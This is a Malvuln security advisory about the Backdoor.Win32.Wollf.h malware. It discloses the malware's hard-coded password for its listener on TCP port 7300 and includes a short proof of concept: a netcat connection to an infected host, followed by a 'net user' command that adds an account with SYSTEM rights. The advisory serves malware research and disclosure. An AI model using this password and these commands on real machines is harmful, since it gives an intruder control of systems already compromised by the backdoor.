Backdoor.Win32.Wollf.h malware suffers from a hard-coded password vulnerability.
Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/5494b78dcfaf16aa43b5dbd563dc5582.txt
Contact: [email protected]
Vulnerability: Hardcoded Cleartext Password
Description: The malware listens on TCP port 7300 and runs with SYSTEM integrity. Authentication is required for remote user access. However, the password "grish5800" is hardcoded within the executable. The malware is packed with UPX and exposes the cleartext credentials when decompressed.
Vuln ID: MVID-2021-0405
Dropped files: asphelp.exe
nc64.exe x.x.x.x 7300
"Wollf Remote Manager" v1.6
Code by wollf, http://www.xfocus.org
Microsoft Windows [Version 10.0.16299.309]
(c) 2017 Microsoft Corporation. All rights reserved.
C:WINDOWSsystem32>net user MALVULN 666 /add
net user MALVULN 666 /add
The command completed successfully.
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